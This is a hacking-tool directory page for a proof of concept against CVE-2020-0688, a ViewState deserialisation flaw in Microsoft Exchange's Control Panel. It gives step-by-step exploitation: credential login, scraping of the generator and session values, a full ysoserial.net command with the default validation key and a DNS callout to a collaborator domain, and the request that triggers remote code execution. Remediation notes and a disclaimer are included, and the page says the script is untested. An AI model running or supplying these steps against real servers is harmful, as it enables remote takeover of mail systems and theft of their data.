Skip to content
KitploitKITPLOIT
ToolsExploitsBlog
Log in
Submit
ToolsExploitsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

FeedsContactPrivacy© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
cve-2020-0688 — cve-2020-0688 | Kitploit
Tools/GitHubGitHub/random-robbie/cve-2020-0688
Payload GenerationVulnerability AnalysisExploitationWeb Application ExploitationPenetration Testing
GitHubrandom-robbie/cve-2020-0688

cve-2020-0688

cve-2020-0688

View Repository
1634529Nov 9, 2026Reviewed by Kitploit
Share

CVE-2020-0688 — Exchange Control Panel ViewState Deserialisation

A proof-of-concept helper for CVE-2020-0688, a ViewState deserialisation vulnerability in Microsoft Exchange Server's Control Panel (ECP).

Background

Exchange's ECP machine key is generated from a static, well-known validation key during installation. Because every Exchange installation ships with the same default <machineKey> in web.config, an authenticated attacker can craft a malicious __VIEWSTATE parameter that the server deserialises, resulting in remote code execution as the application pool account. Authentication is required — any low-privileged mailbox account is sufficient; no elevated privileges are needed.

Affected versions

Microsoft Exchange Server 2010, 2013, 2016 and 2019 up to and including the February 2020 security updates (Exchange 2016 CU14/15, Exchange 2019 CU3/CU4, and their service-pack equivalents). Fixed in the February 2020 patches.

Prerequisites

  • Credentials for any Exchange mailbox user (email address and password).
  • The __VIEWSTATEGENERATOR value from a page's HTML source.
  • The ASP.NET_SessionId cookie value, used as the --viewstateuserkey.
  • ysoserial.net to generate the crafted ViewState payload.

How the POC works

exploit.py performs the authentication and parameter-gathering half of the attack:

  1. Logs into the target OWA/ECP endpoint by POSTing the username and password to auth.owa.
  2. If the login succeeds, it scrapes the __VIEWSTATEGENERATOR value from the response page and extracts the ASP.NET_SessionId cookie value from the response headers to use as the ViewState user key.
  3. It prints a ready-made ysoserial.exe command line pre-filled with the captured --validationkey and --viewstateuserkey values, so you can generate the malicious ViewState payload.
  4. You then request the ECP default page with the generated __VIEWSTATE and __VIEWSTATEGENERATOR parameters to trigger deserialisation.

Note: the script is a mock-up of the exploit flow and has not been fully tested against a live demo system; treat it as a starting point rather than a finished weaponised exploit.

Usage

python3 exploit.py -s https://exchange.example.com/ecp/ -u [email protected] -p 'Password123!'
ArgumentDescription
-s, --serverECP server URL
-u, --userEmail address of the mailbox user
-p, --passwordThe user's password

Then generate the payload with ysoserial.net using the printed command, e.g.:

ysoserial.exe -p ViewState -g TextFormattingRunProperties -c "nslookup <collab-domain>" --validationalg="SHA1" --validationkey="CB2721ABDAF8E9DC516D621D8B8BF13A2C9E8689A25303BF" --generator="B97B4E27" --viewstateuserkey="<ASP.NET_SessionId>" --isdebug –islegacy

Finally trigger the deserialisation with a GET request:

https://<exchange-server>/ecp/default.aspx?__VIEWSTATEGENERATOR=<generator>&__VIEWSTATE=<ViewState>

Remediation

  • Apply the Microsoft February 2020 Exchange Server security updates.
  • As a hardening measure, replace the default <machineKey> in the ECP web.config with unique per-installation keys.

Disclaimer / Authorised use

This tool is provided for authorised security testing and responsible disclosure only. Do not use it against systems you do not have explicit permission to test.

Author

Robbie Wiggins — What-Security · GitHub

Download Tool

Related Tools

  • metasploit-framework

    Open-source exploitation framework with modular payload, encoder, and auxiliary system for penetration testing, vulnerability validation, and security research across networks and applications.

  • donut

    Generates x86, x64, or AMD64+x86 position-independent shellcode that loads .NET Assemblies, PE files, and other Windows payloads from memory and runs them with parameters

  • sRDI

    Shellcode implementation of Reflective DLL Injection. Convert DLLs to position independent shellcode

Most Popular

View all →

Discover the most used tools by our community.

  • 1

    Callisto

    jetp1ane/callisto

    Automated binary vulnerability analysis tool that decompiles executables via Ghidra, scans pseudo-C code with Semgrep, and validates findings using GPT-3.5-Turbo to reduce false positives.

    2.2k
  • 2

    ghostlock-app

    yukonga/ghostlock-app

    One-tap Android kernel exploit app for CVE-2026-43499, providing privilege escalation via kernel module loading, with offset extraction and on-device analysis tools.

    775
  • 3

    IMSIcatcher

    28zaaky/imsicatcher

    IMSI Catcher platform that deploys a rogue GSM cell to intercept SMS, inject messages and track mobile devices

    591
  • 4

    DFRoot

    a2333c/dfroot

    Android root tool for Samsung Galaxy S25 Ultra (SM-S938B) that chains DirtyFrag CVE-2026-43284 and CVE-2026-43499 to gain root automatically at boot via KernelSU.

    454
  • 5

    ARTEX

    baarai/artex

    LLM multi-agent autonomous penetration testing platform with planner/worker agents, asset and exploration graphs, MITM traffic recording, and vulnerability retesting.

    413
  • 6

    OsintHunter

    letox4/osinthunter

    🎯 The ultimate OSINT toolkit: investigation graph, confidence scoring, alias families, map, timeline and reports. 49 modules, 400+ sites, no API keys required.

    348

Explore all tools

Browse our collection of tools

View all tools →